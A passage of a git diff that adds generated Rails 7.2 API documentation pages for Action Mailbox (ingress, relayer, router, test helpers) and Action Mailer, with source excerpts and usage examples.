    +
  3. +

    Configure SendGrid Inbound Parse to forward inbound emails to /rails/action_mailbox/sendgrid/inbound_emails with the username actionmailbox and the password you previously generated. If your application lived at https://example.com, you would configure SendGrid with the following fully-qualified URL:

    + +
    https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails
    +
    + +

    NOTE: When configuring your SendGrid Inbound Parse webhook, be sure to check the box labeled *β€œPost the raw, full MIME message.”* Action Mailbox needs the raw MIME message to work.

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller.rb, line 51
+    def create
+      ActionMailbox::InboundEmail.create_and_extract_message_id! mail
+    rescue JSON::ParserError => error
+      logger.error error.message
+      head :unprocessable_entity
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Relayer.html b/src/7.2/classes/ActionMailbox/Relayer.html new file mode 100644 index 0000000000..cddcd7ae5d --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Relayer.html @@ -0,0 +1,225 @@ +--- +title: ActionMailbox::Relayer +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
CONTENT_TYPE="message/rfc822"
USER_AGENT="Action Mailbox relayer v#{ActionMailbox.version}"
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + password
+ [R] + uri
+ [R] + username
+ + + + +

Class Public methods

+ +
+

+ + new(url:, username: "actionmailbox", password:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/relayer.rb, line 32
+    def initialize(url:, username: "actionmailbox", password:)
+      @uri, @username, @password = URI(url), username, password
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + relay(source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/relayer.rb, line 36
+    def relay(source)
+      case response = post(source)
+      when Net::HTTPSuccess
+        Result.new "2.0.0", "Successfully relayed message to ingress"
+      when Net::HTTPUnauthorized
+        Result.new "4.7.0", "Invalid credentials for ingress"
+      else
+        Result.new "4.0.0", "HTTP #{response.code}"
+      end
+    rescue IOError, SocketError, SystemCallError => error
+      Result.new "4.4.2", "Network error relaying to ingress: #{error.message}"
+    rescue Timeout::Error
+      Result.new "4.4.2", "Timed out relaying to ingress"
+    rescue => error
+      Result.new "4.0.0", "Error relaying to ingress: #{error.message}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Relayer/Result.html b/src/7.2/classes/ActionMailbox/Relayer/Result.html new file mode 100644 index 0000000000..08b3c68057 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Relayer/Result.html @@ -0,0 +1,224 @@ +--- +title: ActionMailbox::Relayer::Result +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + failure?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/relayer.rb, line 14
+      def failure?
+        transient_failure? || permanent_failure?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permanent_failure?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/relayer.rb, line 22
+      def permanent_failure?
+        status_code.start_with?("5.")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + success?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/relayer.rb, line 10
+      def success?
+        !failure?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transient_failure?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/relayer.rb, line 18
+      def transient_failure?
+        status_code.start_with?("4.")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Router.html b/src/7.2/classes/ActionMailbox/Router.html new file mode 100644 index 0000000000..02bf9c870d --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Router.html @@ -0,0 +1,299 @@ +--- +title: ActionMailbox::Router +layout: default +--- +
+ +
+
+ +
+ +

Action Mailbox Router

+ +

Encapsulates the routes that live on the ApplicationMailbox and performs the actual routing when an inbound_email is received.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router.rb, line 11
+    def initialize
+      @routes = []
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add_route(address, to:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router.rb, line 21
+    def add_route(address, to:)
+      routes.append Route.new(address, to: to)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_routes(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router.rb, line 15
+    def add_routes(routes)
+      routes.each do |(address, mailbox_name)|
+        add_route address, to: mailbox_name
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mailbox_for(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router.rb, line 35
+    def mailbox_for(inbound_email)
+      routes.detect { |route| route.match?(inbound_email) }&.mailbox_class
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + route(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router.rb, line 25
+    def route(inbound_email)
+      if mailbox = mailbox_for(inbound_email)
+        mailbox.receive(inbound_email)
+      else
+        inbound_email.bounced!
+
+        raise RoutingError
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Router/Route.html b/src/7.2/classes/ActionMailbox/Router/Route.html new file mode 100644 index 0000000000..bf8ffcdff6 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Router/Route.html @@ -0,0 +1,229 @@ +--- +title: ActionMailbox::Router::Route +layout: default +--- +
+ +
+
+ +
+ +

Encapsulates a route, which can then be matched against an inbound_email and provide a lookup of the matching mailbox class. See examples for the different route addresses and how to use them in the ActionMailbox::Base documentation.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + address
+ [R] + mailbox_name
+ + + + +

Class Public methods

+ +
+

+ + new(address, to:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router/route.rb, line 10
+    def initialize(address, to:)
+      @address, @mailbox_name = address, to
+
+      ensure_valid_address
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + mailbox_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router/route.rb, line 31
+    def mailbox_class
+      "#{mailbox_name.to_s.camelize}Mailbox".constantize
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + match?(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/router/route.rb, line 16
+    def match?(inbound_email)
+      case address
+      when :all
+        true
+      when String
+        inbound_email.mail.recipients.any? { |recipient| address.casecmp?(recipient) }
+      when Regexp
+        inbound_email.mail.recipients.any? { |recipient| address.match?(recipient) }
+      when Proc
+        address.call(inbound_email)
+      else
+        address.match?(inbound_email)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Router/RoutingError.html b/src/7.2/classes/ActionMailbox/Router/RoutingError.html new file mode 100644 index 0000000000..cbda16b00e --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Router/RoutingError.html @@ -0,0 +1,60 @@ +--- +title: ActionMailbox::Router::RoutingError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Routing.html b/src/7.2/classes/ActionMailbox/Routing.html new file mode 100644 index 0000000000..628f2f908d --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Routing.html @@ -0,0 +1,185 @@ +--- +title: ActionMailbox::Routing +layout: default +--- +
+ +
+
+ +
+ +

See ActionMailbox::Base for how to specify routing.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + mailbox_for(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/routing.rb, line 21
+      def mailbox_for(inbound_email)
+        router.mailbox_for(inbound_email)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + route(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/routing.rb, line 17
+      def route(inbound_email)
+        router.route(inbound_email)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + routing(routes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/routing.rb, line 13
+      def routing(routes)
+        router.add_routes(routes)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/RoutingJob.html b/src/7.2/classes/ActionMailbox/RoutingJob.html new file mode 100644 index 0000000000..236519c622 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/RoutingJob.html @@ -0,0 +1,113 @@ +--- +title: ActionMailbox::RoutingJob +layout: default +--- +
+ +
+
+ +
+ +

Routing a new InboundEmail is an asynchronous operation, which allows the ingress controllers to quickly accept new incoming emails without being burdened to hang while they’re actually being processed.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/jobs/action_mailbox/routing_job.rb, line 9
+    def perform(inbound_email)
+      inbound_email.route
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/TestCase.html b/src/7.2/classes/ActionMailbox/TestCase.html new file mode 100644 index 0000000000..82b958db02 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/TestCase.html @@ -0,0 +1,74 @@ +--- +title: ActionMailbox::TestCase +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/TestHelper.html b/src/7.2/classes/ActionMailbox/TestHelper.html new file mode 100644 index 0000000000..8eed8ac675 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/TestHelper.html @@ -0,0 +1,348 @@ +--- +title: ActionMailbox::TestHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create_inbound_email_from_fixture(fixture_name, status: :processing) + +

+ + +
+

Create an InboundEmail record using an eml fixture in the format of message/rfc822 referenced with fixture_name located in test/fixtures/files/fixture_name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/test_helper.rb, line 9
+    def create_inbound_email_from_fixture(fixture_name, status: :processing)
+      create_inbound_email_from_source file_fixture(fixture_name).read, status: status
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_inbound_email_from_mail(status: :processing, **mail_options, &block) + +

+ + +
+

Creates an InboundEmail by specifying through options or a block.

+ +

Options

+
  • +

    :status - The status to set for the created InboundEmail. For possible statuses, see its documentation.

    +
+ +

Creating a simple email

+ +

When you only need to set basic fields like from, to, subject, and body, you can pass them directly as options.

+ +
create_inbound_email_from_mail(from: "david@loudthinking.com", subject: "Hello!")
+
+ +

Creating a multi-part email

+ +

When you need to create a more intricate email, like a multi-part email that contains both a plaintext version and an HTML version, you can pass a block.

+ +
create_inbound_email_from_mail do
+  to "David Heinemeier Hansson <david@loudthinking.com>"
+  from "Bilbo Baggins <bilbo@bagend.com>"
+  subject "Come down to the Shire!"
+
+  text_part do
+    body "Please join us for a party at Bag End"
+  end
+
+  html_part do
+    body "<h1>Please join us for a party at Bag End</h1>"
+  end
+end
+
+ +

As with Mail.new, you can also use a block parameter to define the parts of the message:

+ +
create_inbound_email_from_mail do |mail|
+  mail.to "David Heinemeier Hansson <david@loudthinking.com>"
+  mail.from "Bilbo Baggins <bilbo@bagend.com>"
+  mail.subject "Come down to the Shire!"
+
+  mail.text_part do |part|
+    part.body "Please join us for a party at Bag End"
+  end
+
+  mail.html_part do |part|
+    part.body "<h1>Please join us for a party at Bag End</h1>"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/test_helper.rb, line 63
+    def create_inbound_email_from_mail(status: :processing, **mail_options, &block)
+      mail = Mail.new(mail_options, &block)
+      # Bcc header is not encoded by default
+      mail[:bcc].include_in_headers = true if mail[:bcc]
+
+      create_inbound_email_from_source mail.to_s, status: status
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_inbound_email_from_source(source, status: :processing) + +

+ + +
+

Create an InboundEmail using the raw rfc822 source as text.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/test_helper.rb, line 72
+    def create_inbound_email_from_source(source, status: :processing)
+      ActionMailbox::InboundEmail.create_and_extract_message_id! source, status: status
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + receive_inbound_email_from_fixture(*args) + +

+ + +
+

Create an InboundEmail from fixture using the same arguments as create_inbound_email_from_fixture and immediately route it to processing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/test_helper.rb, line 79
+    def receive_inbound_email_from_fixture(*args)
+      create_inbound_email_from_fixture(*args).tap(&:route)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + receive_inbound_email_from_mail(**kwargs, &block) + +

+ + +
+

Create an InboundEmail using the same options or block as create_inbound_email_from_mail, then immediately route it for processing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/test_helper.rb, line 85
+    def receive_inbound_email_from_mail(**kwargs, &block)
+      create_inbound_email_from_mail(**kwargs, &block).tap(&:route)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + receive_inbound_email_from_source(*args) + +

+ + +
+

Create an InboundEmail using the same arguments as create_inbound_email_from_source and immediately route it to processing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/test_helper.rb, line 91
+    def receive_inbound_email_from_source(*args)
+      create_inbound_email_from_source(*args).tap(&:route)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/VERSION.html b/src/7.2/classes/ActionMailbox/VERSION.html new file mode 100644 index 0000000000..f1f421d56c --- /dev/null +++ b/src/7.2/classes/ActionMailbox/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActionMailbox::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer.html b/src/7.2/classes/ActionMailer.html new file mode 100644 index 0000000000..983eedf061 --- /dev/null +++ b/src/7.2/classes/ActionMailer.html @@ -0,0 +1,419 @@ +--- +title: ActionMailer +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer – Easy email delivery and testing

+ +

Action Mailer is a framework for designing email service layers. These layers are used to consolidate code for sending out forgotten passwords, welcome wishes on signup, invoices for billing, and any other use case that requires a written notification to either a person or another system.

+ +

Action Mailer is in essence a wrapper around Action Controller and the Mail gem. It provides a way to make emails using templates in the same way that Action Controller renders views using templates.

+ +

Additionally, an Action Mailer class can be used to process incoming email, such as allowing a blog to accept new posts from an email (which could even have been sent from a phone).

+ +

You can read more about Action Mailer in the Action Mailer Basics guide.

+ +

Sending emails

+ +

The framework works by initializing any instance variables you want to be available in the email template, followed by a call to mail to deliver the email.

+ +

This can be as simple as:

+ +
class Notifier < ActionMailer::Base
+  default from: 'system@loudthinking.com'
+
+  def welcome(recipient)
+    @recipient = recipient
+    mail(to: recipient,
+         subject: "[Signed up] Welcome #{recipient}")
+  end
+end
+
+ +

The body of the email is created by using an Action View template (regular ERB) that has the instance variables that are declared in the mailer action.

+ +

So the corresponding body template for the method above could look like this:

+ +
Hello there,
+
+Mr. <%= @recipient %>
+
+Thank you for signing up!
+
+ +

If the recipient was given as β€œdavid@loudthinking.com”, the email generated would look like this:

+ +
Date: Mon, 25 Jan 2010 22:48:09 +1100
+From: system@loudthinking.com
+To: david@loudthinking.com
+Message-ID: <4b5d84f9dd6a5_7380800b81ac29578@void.loudthinking.com.mail>
+Subject: [Signed up] Welcome david@loudthinking.com
+Mime-Version: 1.0
+Content-Type: text/plain;
+    charset="US-ASCII";
+Content-Transfer-Encoding: 7bit
+
+Hello there,
+
+Mr. david@loudthinking.com
+
+Thank you for signing up!
+
+ +

In order to send mails, you simply call the method and then call deliver_now on the return value.

+ +

Calling the method returns a Mail Message object:

+ +
message = Notifier.welcome("david@loudthinking.com")   # => Returns a Mail::Message object
+message.deliver_now                                    # => delivers the email
+
+ +

Or you can just chain the methods together like:

+ +
Notifier.welcome("david@loudthinking.com").deliver_now # Creates the email and sends it immediately
+
+ +

Setting defaults

+ +

It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method default which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers, email messages have, like :from as the key. You can also pass in a string as the key, like β€œContent-Type”, but Action Mailer does this out of the box for you, so you won’t need to worry about that. Finally, it is also possible to pass in a Proc that will get evaluated when it is needed.

+ +

Note that every value you set with this method will get overwritten if you use the same key in your mailer method.

+ +

Example:

+ +
class AuthenticationMailer < ActionMailer::Base
+  default from: "awesome@application.com", subject: Proc.new { "E-mail was generated at #{Time.now}" }
+  .....
+end
+
+ +

Configuration

+ +

The Base class has the full list of configuration options. Here’s an example:

+ +
ActionMailer::Base.smtp_settings = {
+  address:        'smtp.yourserver.com', # default: localhost
+  port:           '25',                  # default: 25
+  user_name:      'user',
+  password:       'pass',
+  authentication: :plain                 # :plain, :login or :cram_md5
+}
+
+ +

Download and installation

+ +

The latest version of Action Mailer can be installed with RubyGems:

+ +
$ gem install actionmailer
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Action Mailer is released under the MIT license:

+ + +

Support

+ +

API documentation is at

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer.rb, line 61
+  def self.eager_load!
+    super
+
+    require "mail"
+    Mail.eager_autoload!
+
+    Base.descendants.each do |mailer|
+      mailer.eager_load! unless mailer.abstract?
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Action Mailer as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Action Mailer as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/version.rb, line 8
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Base.html b/src/7.2/classes/ActionMailer/Base.html new file mode 100644 index 0000000000..6a1e5d7dbf --- /dev/null +++ b/src/7.2/classes/ActionMailer/Base.html @@ -0,0 +1,1720 @@ +--- +title: ActionMailer::Base +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer Base

+ +

Action Mailer allows you to send email from your application using a mailer model and views.

+ +

Mailer Models

+ +

To use Action Mailer, you need to create a mailer model.

+ +
$ bin/rails generate mailer Notifier
+
+ +

The generated model inherits from ApplicationMailer which in turn inherits from ActionMailer::Base. A mailer model defines methods used to generate an email message. In these methods, you can set up variables to be used in the mailer views, options on the mail itself such as the :from address, and attachments.

+ +
class ApplicationMailer < ActionMailer::Base
+  default from: 'from@example.com'
+  layout 'mailer'
+end
+
+class NotifierMailer < ApplicationMailer
+  default from: 'no-reply@example.com',
+          return_path: 'system@example.com'
+
+  def welcome(recipient)
+    @account = recipient
+    mail(to: recipient.email_address_with_name,
+         bcc: ["bcc@example.com", "Order Watcher <watcher@example.com>"])
+  end
+end
+
+ +

Within the mailer method, you have access to the following methods:

+
  • +

    attachments[]= - Allows you to add attachments to your email in an intuitive manner; attachments['filename.png'] = File.read('path/to/filename.png')

    +
  • +

    attachments.inline[]= - Allows you to add an inline attachment to your email in the same manner as attachments[]=

    +
  • +

    headers[]= - Allows you to specify any header field in your email such as headers['X-No-Spam'] = 'True'. Note that declaring a header multiple times will add many fields of the same name. Read headers doc for more information.

    +
  • +

    headers(hash) - Allows you to specify multiple headers in your email such as headers({'X-No-Spam' => 'True', 'In-Reply-To' => '1234@message.id'})

    +
  • +

    mail - Allows you to specify email to be sent.

    +
+ +

The hash passed to the mail method allows you to specify any header that a Mail::Message will accept (any valid email header including optional fields).

+ +

The mail method, if not passed a block, will inspect your views and send all the views with the same name as the method, so the above action would send the welcome.text.erb view file as well as the welcome.html.erb view file in a multipart/alternative email.

+ +

If you want to explicitly render only certain templates, pass a block:

+ +
mail(to: user.email) do |format|
+  format.text
+  format.html
+end
+
+ +

The block syntax is also useful in providing information specific to a part:

+ +
mail(to: user.email) do |format|
+  format.text(content_transfer_encoding: "base64")
+  format.html
+end
+
+ +

Or even to render a special view:

+ +
mail(to: user.email) do |format|
+  format.text
+  format.html { render "some_other_template" }
+end
+
+ +

Mailer views

+ +

Like Action Controller, each mailer class has a corresponding view directory in which each method of the class looks for a template with its name.

+ +

To define a template to be used with a mailer, create an .erb file with the same name as the method in your mailer model. For example, in the mailer defined above, the template at app/views/notifier_mailer/welcome.text.erb would be used to generate the email.

+ +

Variables defined in the methods of your mailer model are accessible as instance variables in their corresponding view.

+ +

Emails by default are sent in plain text, so a sample view for our model example might look like this:

+ +
Hi <%= @account.name %>,
+Thanks for joining our service! Please check back often.
+
+ +

You can even use Action View helpers in these views. For example:

+ +
You got a new note!
+<%= truncate(@note.body, length: 25) %>
+
+ +

If you need to access the subject, from, or the recipients in the view, you can do that through message object:

+ +
You got a new note from <%= message.from %>!
+<%= truncate(@note.body, length: 25) %>
+
+ +

Generating URLs

+ +

URLs can be generated in mailer views using url_for or named routes. Unlike controllers from Action Pack, the mailer instance doesn’t have any context about the incoming request, so you’ll need to provide all of the details needed to generate a URL.

+ +

When using url_for you’ll need to provide the :host, :controller, and :action:

+ +
<%= url_for(host: "example.com", controller: "welcome", action: "greeting") %>
+
+ +

When using named routes you only need to supply the :host:

+ +
<%= users_url(host: "example.com") %>
+
+ +

You should use the named_route_url style (which generates absolute URLs) and avoid using the named_route_path style (which generates relative URLs), since clients reading the mail will have no concept of a current URL from which to determine a relative path.

+ +

It is also possible to set a default host that will be used in all mailers by setting the :host option as a configuration option in config/application.rb:

+ +
config.action_mailer.default_url_options = { host: "example.com" }
+
+ +

You can also define a default_url_options method on individual mailers to override these default settings per-mailer.

+ +

By default when config.force_ssl is true, URLs generated for hosts will use the HTTPS protocol.

+ +

Sending mail

+ +

Once a mailer action and template are defined, you can deliver your message or defer its creation and delivery for later:

+ +
NotifierMailer.welcome(User.first).deliver_now # sends the email
+mail = NotifierMailer.welcome(User.first)      # => an ActionMailer::MessageDelivery object
+mail.deliver_now                               # generates and sends the email now
+
+ +

The ActionMailer::MessageDelivery class is a wrapper around a delegate that will call your method to generate the mail. If you want direct access to the delegator, or Mail::Message, you can call the message method on the ActionMailer::MessageDelivery object.

+ +
NotifierMailer.welcome(User.first).message     # => a Mail::Message object
+
+ +

Action Mailer is nicely integrated with Active Job so you can generate and send emails in the background (example: outside of the request-response cycle, so the user doesn’t have to wait on it):

+ +
NotifierMailer.welcome(User.first).deliver_later # enqueue the email sending to Active Job
+
+ +

Note that deliver_later will execute your method from the background job.

+ +

You never instantiate your mailer class. Rather, you just call the method you defined on the class itself. All instance methods are expected to return a message object to be sent.

+ +

Multipart Emails

+ +

Multipart messages can also be used implicitly because Action Mailer will automatically detect and use multipart templates, where each template is named after the name of the action, followed by the content type. Each such detected template will be added to the message, as a separate part.

+ +

For example, if the following templates exist:

+
  • +

    signup_notification.text.erb

    +
  • +

    signup_notification.html.erb

    +
  • +

    signup_notification.xml.builder

    +
  • +

    signup_notification.yml.erb

    +
+ +

Each would be rendered and added as a separate part to the message, with the corresponding content type. The content type for the entire message is automatically set to multipart/alternative, which indicates that the email contains multiple different representations of the same email body. The same instance variables defined in the action are passed to all email templates.

+ +

Implicit template rendering is not performed if any attachments or parts have been added to the email. This means that you’ll have to manually add each part to the email and set the content type of the email to multipart/alternative.

+ +

Attachments

+ +

Sending attachment in emails is easy:

+ +
class NotifierMailer < ApplicationMailer
+  def welcome(recipient)
+    attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+    mail(to: recipient, subject: "New account information")
+  end
+end
+
+ +

Which will (if it had both a welcome.text.erb and welcome.html.erb template in the view directory), send a complete multipart/mixed email with two parts, the first part being a multipart/alternative with the text and HTML email parts inside, and the second being a application/pdf with a Base64 encoded copy of the file.pdf book with the filename free_book.pdf.

+ +

If you need to send attachments with no content, you need to create an empty view for it, or add an empty body parameter like this:

+ +
class NotifierMailer < ApplicationMailer
+  def welcome(recipient)
+    attachments['free_book.pdf'] = File.read('path/to/file.pdf')
+    mail(to: recipient, subject: "New account information", body: "")
+  end
+end
+
+ +

You can also send attachments with HTML template, in this case you need to add body, attachments, and custom content type like this:

+ +
class NotifierMailer < ApplicationMailer
+  def welcome(recipient)
+    attachments["free_book.pdf"] = File.read("path/to/file.pdf")
+    mail(to: recipient,
+         subject: "New account information",
+         content_type: "text/html",
+         body: "<html><body>Hello there</body></html>")
+  end
+end
+
+ +

Inline Attachments

+ +

You can also specify that a file should be displayed inline with other HTML. This is useful if you want to display a corporate logo or a photo.

+ +
class NotifierMailer < ApplicationMailer
+  def welcome(recipient)
+    attachments.inline['photo.png'] = File.read('path/to/photo.png')
+    mail(to: recipient, subject: "Here is what we look like")
+  end
+end
+
+ +

And then to reference the image in the view, you create a welcome.html.erb file and make a call to image_tag passing in the attachment you want to display and then call url on the attachment to get the relative content id path for the image source:

+ +
<h1>Please Don't Cringe</h1>
+
+<%= image_tag attachments['photo.png'].url -%>
+
+ +

As we are using Action View’s image_tag method, you can pass in any other options you want:

+ +
<h1>Please Don't Cringe</h1>
+
+<%= image_tag attachments['photo.png'].url, alt: 'Our Photo', class: 'photo' -%>
+
+ +

Observing and Intercepting Mails

+ +

Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to register classes that are called during the mail delivery life cycle.

+ +

An observer class must implement the :delivered_email(message) method which will be called once for every email sent after the email has been sent.

+ +

An interceptor class must implement the :delivering_email(message) method which will be called before the email is sent, allowing you to make modifications to the email before it hits the delivery agents. Your class should make any needed modifications directly to the passed in Mail::Message instance.

+ +

Default Hash

+ +

Action Mailer provides some intelligent defaults for your emails, these are usually specified in a default method inside the class definition:

+ +
class NotifierMailer < ApplicationMailer
+  default sender: 'system@example.com'
+end
+
+ +

You can pass in any header value that a Mail::Message accepts. Out of the box, ActionMailer::Base sets the following:

+
  • +

    mime_version: "1.0"

    +
  • +

    charset: "UTF-8"

    +
  • +

    content_type: "text/plain"

    +
  • +

    parts_order: [ "text/plain", "text/enriched", "text/html" ]

    +
+ +

parts_order and charset are not actually valid Mail::Message header fields, but Action Mailer translates them appropriately and sets the correct values.

+ +

As you can pass in any header, you need to either quote the header as a string, or pass it in as an underscored symbol, so the following will work:

+ +
class NotifierMailer < ApplicationMailer
+  default 'Content-Transfer-Encoding' => '7bit',
+          content_description: 'This is a description'
+end
+
+ +

